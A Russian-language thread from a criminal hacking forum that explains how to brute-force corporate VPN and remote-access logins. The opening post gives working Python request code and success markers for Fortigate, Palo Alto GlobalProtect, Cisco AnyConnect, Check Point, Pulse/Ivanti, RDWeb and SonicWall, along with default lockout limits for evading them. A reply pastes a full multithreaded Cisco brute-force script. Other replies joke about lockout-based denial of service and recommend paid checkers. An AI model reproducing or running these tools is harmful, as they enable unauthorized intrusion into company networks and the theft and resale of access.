• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Брут корп впнов. Обсуждение. Вопросы.

xss_user

RAID-массив
Пользователь
Регистрация
31.10.2025
Сообщения
53
Реакции
38
В этой теме можно обсудить реализации брута впнов и других удаленных точек входа в сеть, способов обхода блокировок, выбор проксей и словарей, и различные вопросы и решения связанные с этой темой, также предлагать свои реализации(скрипты, софты).

Начну с примеров определения валидных учеток, в качестве яп буду использовать Python:

Fortigate SSL-VPN​

У фортиков форма отправки паролей ведет на url -https://host:port/remote/logincheck

Чтобы сформировать правильный post запрос нужно упаковать данные, следующим образом:

Python:
login, password = 'Jhon', 'P@$$W0RD'
post_params = {'ajax': '1', 'username': login, 'credential': password}

Теперь можно отправить запрос и получить ответ:
Python:
session = requests.Session()
url = 'https://target/remote/logincheck'
response = session.post(url, data=post_params, verify=False, allow_redirects=True)

Хорошо было бы добавлять заголовки(headers) в запрос. Если в теле ответа указан редирект на /remote/hostcheck_install значит, что логин и пароль угаданы верно. Покажу пример такого тела ответа:

'ret=1,redir=/remote/hostcheck_install?auth_type=1&user=скрыто&&grpname=скрыто&portal=скрыто&rip=скрыто&realm='

Стандартные настройки защиты по умолчанию пропускают 2 попытки входа и блокируют возможность аутентификации на 60 секунд. Это все настраивается в индивидуальном порядке админами сетей, диапазон значений блокировки ip адреса - от 0 до 3600 секунд.

На практике я встречал максимальную блокировку на 15 минут.


Palo alto global-protect ssl-vpn​

url - https://host:port/global-protect/login.esp

Упаковка данных:
Python:
post_params = {'prot': '', 'server': target,'inputStr': '', 'action': 'getsoftware', 'user': login, 'passwd': password, 'new-passwd': '', 'confirm-new-passwd': '', 'ok': 'Log In'}

После того как отправили post запрос и получили ответ, понять что учетка валидная можно по редиректу на ../global-protect/getsoftwarepage.esp или наличию этого url в теле ответа:
Python:
if '<script>window.location=\"/global-protect/getsoftwarepage.esp?user=\";</script></html>' in response.text:

Стандартные значени защитных настроек: 9 попыток и 60 секунд бана ip атакуещего, это все настраивается в индивидуальном порядке админами сетей.


Cisco Anyconnect (+cscoe+)​

url - https://host:port/+webvpn+/index.html

Упаковка данных с этим вендором будет зависеть от того есть ли домен/группа для аутентификации, а также обязателен для отправки csrf_token.

Чтобы определить и собрать эти данные, нужно сделать предварительный GET запрос на url https://target/+CSCOE+/logon.html , csrf_token находится в input'е с атрибутом name, со значением csrf_token (input name="csrf_token" ), данный инпут скрыт, поэтому мы не увидим его если откроем страничку в браузере. Значения доменов/групп находятся в тегах option, их может быть несколько, записываем в параметр group_list.

Переходим к упаковке данных для POST запроса:
Python:
# Если домена/группы нет
post_params = {'tgroup': '', 'next': '', 'tgcookieset': '', 'csrf_token': csrf_token, 'username': login, 'password': password, 'Login': 'Login'}
# Если домен/группа есть
post_params = {'tgroup': '', 'next': '', 'tgcookieset': '', 'csrf_token': csrf_token, 'group_list': group, 'username': login, 'password': password, 'Login': 'Login'}

Также нужно указать в заголовках запроса csrf token:
Python:
headers = {'Host':target,'Cookie': f'webvpnlogin=1; webvpnLang=en; CSRFtoken={csrf_token}','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.','Content-Type': 'application/x-www-form-urlencoded','Content-Length': str(len(post_params)),'Origin': f'{target}'}

Теперь отправим post запрос:
Код:
session = requests.Session()
response = session.post(url, data=post_params, headers=headers, verify=False, allow_redirects=False, proxies=proxy)

Получив ответ, понять что заданная пара кред валидна, можем проверить по наличию строки /+CSCOE+/portal.html в теле ответа. Сюда бы отредиректило, если бы вы вручную в браузере ввели правильные креды.
Python:
if '/+CSCOE+/portal.html' in response.text:

По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите.


Check Point SSL VPN (Netextender)​

url - https://host:port/post

Перед упаковкой данных для post запроса, нужно взять значение user_password.timestamp.value, его можно взять из тела ответа get запроса https://target . Вот как выглядит кусок html кода в котором лежит нужное значение:
HTML:
<script language="JavaScript">try { document.user_password.timestamp.value = "1761667214"; neo_upgrade_mode="0"; neo_upgrade_version=""; neo_upgrade_url=""; neo_saa_guilibs=""; neo_saa_url=""; } catch (e) {} </script>

Теперь упакуем параметры и заголовки (тут используются некоторые обязательные характерные для checkpoint заголовки):
Python:
post_params = {'username': login, 'password': password, 'reauthentication':'0', 'timestamp': time_stamp, 'iSecureId': ''}
headers = {'Host':target,'Cookie': f'host={target}; language=english; skin=skin1','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.','Content-Length': str(len(post_params)),'Content-Type': 'application/x-www-form-urlencoded','Upgrade-Insecure-Requests': '1','Origin': f'https://{target}', 'Referer': f'https://{target}/extender.html', 'Connection': 'keep-alive'}

Определить валидность учетки можно простой проверкой строки 'auth_id=' в теле ответа:
Python:
if 'auth_id=' in response.text:

Значения по умолчанию защитных настроек: 3 секунды задержки после 1 неудачной попытки; после 3 неудачных попыток - 300 секунд бана ip атакуещего, это все настраивается в индивидуальном порядке админами сетей.


Pulse/ivanti(dana-na)​

url - https://host:port/dana-na/auth/url_default/login.cgi

Насчет url_default: у некотрых таргетов вместо default, может быть какое-то значение (url_J54G4W95GLHG например), это значение можно взять из url после редиректа с get запроса на https://target , или из ссылки на логотип таргета из html кода ответа.
Для упаковки данных, в этом случае потребуются все input поля из формы входа, которые берутся также предварительным GET запросом, я предоставлю имплементацию на python которой вы можете воспользоваться:
Python:
url_site =  f'https://{target}/dana-na/auth/url_default/welcome.cgi'
request_html = requests.get(url_site, timeout=9, verify=False)
data_parse = {}
for line in request_html.text.split('input')[1:]:
    x = line.split('name="')[1].split('"')[0]
    if x == 'tz_offset':
        data_parse[x] = '-300'
    elif x == 'username':
        data_parse[x] = login
    elif x == 'password':
        data_parse[x] = password
    elif (x != 'tz_offset') and (x != 'username') and (x != 'password'):
        data_parse[x] = line.split('value="')[1].split('">')[0]
    else:
        data_parse[x] = ''

#print(data_parse)
post_params = data_parse

Также если имеется группа/домен, берем их из тегов option и добавляем к данным для POST запроса, с именем параметра realm
Python:
post_params['realm'] = option

Так, как ответы успешной аутентификации у таргетов бывают нескольких типов а url ответа об ошибке одного типа, можно использовать проверку на то, чтобы '/welcome.cgi?p=failed' не находилась в url ответа:
Python:
if '/welcome.cgi?p=failed' not in response.url:

Значения по умолчанию защитных настроек: 3 неудачные попытки входа в минуту; Период блокировки = 2 минуты, это все настраивается в индивидуальном порядке админами сетей.

Rdweb​

url - https://host:port/RDWeb/Pages/en-US/login.aspx

Предварительно парсим домен/группу из скрытого инпута с именем name="WorkSpaceID" и упаковываем данные:
Python:
post_params = 'DomainUserName={}%5C{}&UserPass={}'.format(domain, login, password)

Отправляем post запрос и если в ответе видим статус код редиректа, то это оказалась валидная учетка:
Python:
if 302 == response.status_code:

По умолчанию разрешено неограниченное количество попыток, переменные отвечающие за количество попыток и время бана учетки(по дефолту: 0xb40=2880 минут=2 дня) находятся в реестре HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess\Parameters\AccountLockout : MaxDenials и ResetTime , это все настраивается в индивидуальном порядке админами сетей.



SonicWall​

Я пока нашел две формы аутентификации:
1) url - https://host:port/__api__/v1/logon

Собираем домены/группы предварительно отправив get запрос на url https://{target}/__api__/v1/config/domains , в ответ получим json данные: нужные ключи - domainName; Запаковка данных:
Python:
domains = requests.get(f'https://{target}/__api__/v1/config/domains', timeout=9, verify=False).json()
for domainx in domains:
    domainx = domainx['domainName']            
    post_params = {'userName': login, 'password': password, 'domainName': domainx}

После отправки post запроса с данными учетной записи, в ответ получим json ответ, понять что учетная запись валидна, можно по ключу status со значением success :
Python:
if response.json()['status'] == 'success':

2) url - https://host:port/cgi-bin/userLogin

Для сбора доменов/групп с такого формата соников, достаточно сделать get запрос на url https://{target}/cgi-bin/welcome и собрать значения всех тегов option. Для упаковки данных потребуется собрать все имена и и значения тегов input и составить словарь. Также в данном случае важно указать заголовки:
Python:
headers = {'Host':target,'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.', 'Content-Type': 'application/x-www-form-urlencoded','Content-Length': str(len(post_params)), 'Accept': 'application/json, text/javascript, */*', 'X-Requested-With': 'XMLHttpRequest', 'Sec-Ch-Ua-Platform': "Linux", 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-Mode': 'cors', 'Sec-Fetch-Dest': 'empty', 'Referer': target, 'Accept-Encoding': 'gzip, deflate, br', 'Priority': 'u=1, i', 'Connection': 'keep-alive', 'Origin': f'{target}'}

Определяем валид по наличую данного url в теле ответа:
Python:
if '/cgi-bin/portal' in response.text:

По настройкам защиты, не нашел информации, если у кого есть админка или найдет информацию, пишите
 
Прикольно наверное брутить троянчиком изнутри корпов даже не ради входа в систему, а чтоб пуканы порвало у реальных юзеров от "непонятных блокировок" их акков - своеобразный DoS типа такой... ;-)
 
Ребята а подскажите чем сейчас актуально брутить VPN доступы софт или что то другое.Зарание Спасибо
Берешь брутер с гитхаба или Заказываешь/покупаешь софт или иишкой по информации выше сам генеришь брутер
 
Берешь брутер с гитхаба или Заказываешь/покупаешь софт или иишкой по информации выше сам генеришь брутер
По информации выше я пробывал ерунду брутит полную ни к чему не подключится
 
По информации выше я пробывал ерунду брутит полную ни к чему не подключится
А как ты пробовал? может ты ханипотов собрал?
 
А как ты пробовал? может ты ханипотов собрал?
пробывал таким скриптом ну естественно свои Логины и Пароли
import time
import requests
import threading
from queue import Queue
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Настройки
numberOfThreads = 10
timeOut = 8
bruteDelay = 1
port = 443

print("=== Cisco BruteForce ===")
print("Loading data...")

# Чтение IP-адресов из Ip.txt
try:
with open("Ip.txt", "r", encoding='utf-8') as file:
ip_lines = [line.strip() for line in file if line.strip()]
print(f"✅ IP addresses: {len(ip_lines)}")
except FileNotFoundError:
print("❌ File Ip.txt not found!")
exit()

# Чтение логинов из Login.txt
try:
with open("Login.txt", "r", encoding='utf-8') as file:
userNames = [line.strip() for line in file if line.strip()]
print(f"✅ Logins: {len(userNames)}")
except FileNotFoundError:
print("❌ File Login.txt not found!")
exit()

# Чтение паролей из Password.txt
try:
with open("Password.txt", "r", encoding='utf-8') as file:
passWords = [line.strip() for line in file if line.strip()]
print(f"✅ Passwords: {len(passWords)}")
except FileNotFoundError:
print("❌ File Password.txt not found!")
exit()

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}

ipsQueue = Queue()

def CheckIfCisco(url):
"""Проверяет является ли устройство Cisco"""
try:
response = requests.get(url, timeout=timeOut, headers=headers, verify=False)
if response.status_code == 200:
if any(indicator in response.text.lower() for indicator in ["cisco", "asa", "asdm", "webvpn"]):
return True, "Cisco"
return False, "Not Cisco"
except Exception as e:
return False, f"Error: {str(e)}"

def LoginCiscoASA(url, userName, passWord):
"""Попытка входа в Cisco ASA"""
try:
# Для Cisco ASA веб-интерфейса
login_data = {
"username": userName,
"password": passWord,
"submit": "Login"
}

response = requests.post(
url + "/admin/login",
data=login_data,
timeout=timeOut,
headers=headers,
verify=False,
allow_redirects=False
)

# Успешный вход обычно дает редирект или другую страницу
if response.status_code == 302 or "dashboard" in response.text.lower():
return True
elif response.status_code == 200 and "invalid" not in response.text.lower():
return True

except Exception:
pass
return False

def LoginCiscoRouter(url, userName, passWord):
"""Попытка входа в Cisco Router"""
try:
# Для маршрутизаторов Cisco
login_data = {
"username": userName,
"password": passWord,
"Submit": "Submit"
}

session = requests.Session()
response = session.post(
url + "/level/15/exec/-/login",
data=login_data,
timeout=timeOut,
headers=headers,
verify=False
)

# Проверяем успешность входа
if response.status_code == 200:
# Проверяем доступ к защищенной странице
test_response = session.get(url + "/level/15/exec/-/show/version", timeout=timeOut, verify=False)
if test_response.status_code == 200:
return True

except Exception:
pass
return False

def LoginCiscoAnyConnect(url, userName, passWord):
"""Попытка входа в Cisco AnyConnect VPN"""
try:
login_data = {
"username": userName,
"password": passWord,
"Login": "Login"
}

response = requests.post(
url + "/+webvpn+/index.html",
data=login_data,
timeout=timeOut,
headers=headers,
verify=False,
allow_redirects=False
)

# Успешный вход в VPN
if response.status_code == 302 or "webvpn" in response.headers.get('Location', ''):
return True

except Exception:
pass
return False

def Login(url, userName, passWord):
"""Основная функция входа - пробует разные методы"""
# Пробуем разные методы входа
if LoginCiscoASA(url, userName, passWord):
return "ASA"
elif LoginCiscoRouter(url, userName, passWord):
return "Router"
elif LoginCiscoAnyConnect(url, userName, passWord):
return "VPN"

return None

def BruteThread(threadId):
print(f"Thread {threadId} started")
while ipsQueue.qsize() > 0:
currentIp = ipsQueue.get()

if ":" in currentIp:
ip, port = currentIp.split(":", 1)
else:
ip, port = currentIp, str(port)

currentUrl = f"https://{ip}:{port}"

print(f"Checking {ip}:{port}")
is_cisco, status = CheckIfCisco(currentUrl)

if is_cisco:
print(f"🎯 CISCO FOUND: {ip}:{port} - Starting brute force...")
found = False

for userName in userNames[:20]: # Первые 20 логинов
if found:
break
for passWord in passWords[:50]: # Первые 50 паролей
if found:
break

print(f" Trying: {userName}:{passWord}")
result = Login(currentUrl, userName, passWord)

if result:
print(f"🎉 SUCCESS: {ip}:{port} | {userName}:{passWord} | Type: {result}")
found = True

# Сохраняем результат
with open("cisco_success.txt", "a", encoding='utf-8') as f:
f.write(f"{ip}:{port}|{userName}|{passWord}|{result}\n")

time.sleep(bruteDelay)
break

time.sleep(0.1) # Небольшая задержка
else:
print(f"❌ {ip}:{port} - {status}")

def Main():
# Загружаем IP в очередь
for ip_line in ip_lines:
ipsQueue.put(ip_line)

print(f"📊 Total targets: {ipsQueue.qsize()}")
print("🚀 Starting brute force...")

threads = []
for i in range(min(numberOfThreads, len(ip_lines))):
t = threading.Thread(target=BruteThread, args=(i,))
threads.append(t)
t.start()
time.sleep(0.2)

for t in threads:
t.join()

print("✅ Brute force completed!")
print("📄 Check cisco_success.txt for results")

if name == "main":
Main()
 
пробывал таким скриптом ну естественно свои Логины и Пароли
import time
import requests
import threading
from queue import Queue
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Настройки
numberOfThreads = 10
timeOut = 8
bruteDelay = 1
port = 443

print("=== Cisco BruteForce ===")
print("Loading data...")

# Чтение IP-адресов из Ip.txt
try:
with open("Ip.txt", "r", encoding='utf-8') as file:
ip_lines = [line.strip() for line in file if line.strip()]
print(f"✅ IP addresses: {len(ip_lines)}")
except FileNotFoundError:
print("❌ File Ip.txt not found!")
exit()

# Чтение логинов из Login.txt
try:
with open("Login.txt", "r", encoding='utf-8') as file:
userNames = [line.strip() for line in file if line.strip()]
print(f"✅ Logins: {len(userNames)}")
except FileNotFoundError:
print("❌ File Login.txt not found!")
exit()

# Чтение паролей из Password.txt
try:
with open("Password.txt", "r", encoding='utf-8') as file:
passWords = [line.strip() for line in file if line.strip()]
print(f"✅ Passwords: {len(passWords)}")
except FileNotFoundError:
print("❌ File Password.txt not found!")
exit()

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}

ipsQueue = Queue()

def CheckIfCisco(url):
"""Проверяет является ли устройство Cisco"""
try:
response = requests.get(url, timeout=timeOut, headers=headers, verify=False)
if response.status_code == 200:
if any(indicator in response.text.lower() for indicator in ["cisco", "asa", "asdm", "webvpn"]):
return True, "Cisco"
return False, "Not Cisco"
except Exception as e:
return False, f"Error: {str(e)}"

def LoginCiscoASA(url, userName, passWord):
"""Попытка входа в Cisco ASA"""
try:
# Для Cisco ASA веб-интерфейса
login_data = {
"username": userName,
"password": passWord,
"submit": "Login"
}

response = requests.post(
url + "/admin/login",
data=login_data,
timeout=timeOut,
headers=headers,
verify=False,
allow_redirects=False
)

# Успешный вход обычно дает редирект или другую страницу
if response.status_code == 302 or "dashboard" in response.text.lower():
return True
elif response.status_code == 200 and "invalid" not in response.text.lower():
return True

except Exception:
pass
return False

def LoginCiscoRouter(url, userName, passWord):
"""Попытка входа в Cisco Router"""
try:
# Для маршрутизаторов Cisco
login_data = {
"username": userName,
"password": passWord,
"Submit": "Submit"
}

session = requests.Session()
response = session.post(
url + "/level/15/exec/-/login",
data=login_data,
timeout=timeOut,
headers=headers,
verify=False
)

# Проверяем успешность входа
if response.status_code == 200:
# Проверяем доступ к защищенной странице
test_response = session.get(url + "/level/15/exec/-/show/version", timeout=timeOut, verify=False)
if test_response.status_code == 200:
return True

except Exception:
pass
return False

def LoginCiscoAnyConnect(url, userName, passWord):
"""Попытка входа в Cisco AnyConnect VPN"""
try:
login_data = {
"username": userName,
"password": passWord,
"Login": "Login"
}

response = requests.post(
url + "/+webvpn+/index.html",
data=login_data,
timeout=timeOut,
headers=headers,
verify=False,
allow_redirects=False
)

# Успешный вход в VPN
if response.status_code == 302 or "webvpn" in response.headers.get('Location', ''):
return True

except Exception:
pass
return False

def Login(url, userName, passWord):
"""Основная функция входа - пробует разные методы"""
# Пробуем разные методы входа
if LoginCiscoASA(url, userName, passWord):
return "ASA"
elif LoginCiscoRouter(url, userName, passWord):
return "Router"
elif LoginCiscoAnyConnect(url, userName, passWord):
return "VPN"

return None

def BruteThread(threadId):
print(f"Thread {threadId} started")
while ipsQueue.qsize() > 0:
currentIp = ipsQueue.get()

if ":" in currentIp:
ip, port = currentIp.split(":", 1)
else:
ip, port = currentIp, str(port)

currentUrl = f"https://{ip}:{port}"

print(f"Checking {ip}:{port}")
is_cisco, status = CheckIfCisco(currentUrl)

if is_cisco:
print(f"🎯 CISCO FOUND: {ip}:{port} - Starting brute force...")
found = False

for userName in userNames[:20]: # Первые 20 логинов
if found:
break
for passWord in passWords[:50]: # Первые 50 паролей
if found:
break

print(f" Trying: {userName}:{passWord}")
result = Login(currentUrl, userName, passWord)

if result:
print(f"🎉 SUCCESS: {ip}:{port} | {userName}:{passWord} | Type: {result}")
found = True

# Сохраняем результат
with open("cisco_success.txt", "a", encoding='utf-8') as f:
f.write(f"{ip}:{port}|{userName}|{passWord}|{result}\n")

time.sleep(bruteDelay)
break

time.sleep(0.1) # Небольшая задержка
else:
print(f"❌ {ip}:{port} - {status}")

def Main():
# Загружаем IP в очередь
for ip_line in ip_lines:
ipsQueue.put(ip_line)

print(f"📊 Total targets: {ipsQueue.qsize()}")
print("🚀 Starting brute force...")

threads = []
for i in range(min(numberOfThreads, len(ip_lines))):
t = threading.Thread(target=BruteThread, args=(i,))
threads.append(t)
t.start()
time.sleep(0.2)

for t in threads:
t.join()

print("✅ Brute force completed!")
print("📄 Check cisco_success.txt for results")

if name == "main":
Main()
заворачивай код в специальную конструкцию BB-коды на форуме , а то читать сложно
Код:
вот так
сюда код

и что отдает на выходе? к чему не подключиться?
 
заворачивай код в специальную конструкцию BB-коды на форуме , а то читать сложно
Код:
вот так
сюда код

и что отдает на выходе? к чему не подключиться?
выдает Ip Login Pass и в конце пишет VPN Router и тд.Допустим где VPN я к нему подключаюсь с помощью OpenConnect VPN вроде как идет подключение и прерывается в логах смотел там что то вроде этого Ошибка проверки сертификата сервера и так спаймало штук 20 и у всех так
 
пробывал таким скриптом ну естественно свои Логины и Пароли
боженька, сделай пожалуйста так чтобы у тех кто пастит огромный код без хайда и хайлайта синтаксиса, чтобы в их IDE тоже отображали код вот так же всегда, а монитор становился размером под нехайднутый код занимая всю комнату! 🙏
 
Ребята а подскажите чем сейчас актуально брутить VPN доступы софт или что то другое.Зарание Спасибо
Ставишь локально (например в VM) таргет-софт чего брутить собрался. Пишешь брутер и дебажишь локально. Как начинает работать - вот тогда и только тогла начинаешь дрючить брутить реальные таргеты. А то всем всю рыбу распугаешь пока брутер свой напишешь.
 
я там анонсировал статью про брут. Получилось уже больше 20 страниц. Сегодня выложить постараюсь.
1763858959878.png
 
Последнее редактирование:
я там анонсировал статью про брут. Получилось уже больше 20 страниц. Сегодня выложить постараюсь.
Посмотреть вложение 111321
вау! очень жду! не только брут, а про корп доступы вообще, интересно же несколько способов добычи такого ценного материала! ;-)

у меня с онлайн брутом почему-то ни разу не складывалось, складывается обычно или если наглый фиш или влом и там хэши но потом дехэшить это геморрой конечно...
 
я там анонсировал статью про брут. Получилось уже больше 20 страниц. Сегодня выложить постараюсь.
Посмотреть вложение 111338
уже 27 страниц и пока "стрижка только начата" -- это я еще скрины не вставлял :). Господа и дамы, постараюсь оправдать ваши ожидания от сего опуса
 
уже 27 страниц и пока "стрижка только начата" -- это я еще скрины не вставлял :). Господа и дамы, постараюсь оправдать ваши ожидания от сего опуса
Ждем как подарочки на новый год, приложи еще сюда ссылку на тему как опубликуешь
 
Ждем как подарочки на новый год, приложи еще сюда ссылку на тему как опубликуешь
обязательно приложу, а пока чтобы скучно не было можно почитать описание обновленного дампера
 
Ставишь локально (например в VM) таргет-софт чего брутить собрался. Пишешь брутер и дебажишь локально. Как начинает работать - вот тогда и только тогла начинаешь дрючить брутить реальные таргеты. А то всем всю рыбу распугаешь пока брутер свой напишешь.
Прощё проеверить на реальных таргетах, к которым есть доступ.
Вот ещё виртуалку поднимать...
 
Ребята а подскажите чем сейчас актуально брутить VPN доступы софт или что то другое.Зарание Спасибо
Брутить неактуально. Если конечно интересно брутить какую то Бразилию и тому подобное, то ок.
По нормальным странам мусор только ловить будешь.
Года два брутили с командой, есть свой софт, с управлением через панель, на сотнях серверов запуск за секунду. Времена когда на ksmith:Welcome1 можно было нормальные таргеты ловить, ушли. Забили на эту тему.
Если всё же хочешь сам проверить, то из паблика ТМ Чекер, 200 баксов в месяц вроде, вполне норм работает
 
Времена когда на ksmith:Welcome1 можно было нормальные таргеты ловить, ушли.
а почему?

  • стали ответственнее админы?
  • требования корпоративных стандартов на пароли? (инструкции человеку)
  • автопроверка сложности скриптами? (рэндомизация, блокировка простого - софт?)
  • ИИ перепроверяет настройки политик безопасности, настройки EDR, etc?

или всё вкупе?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх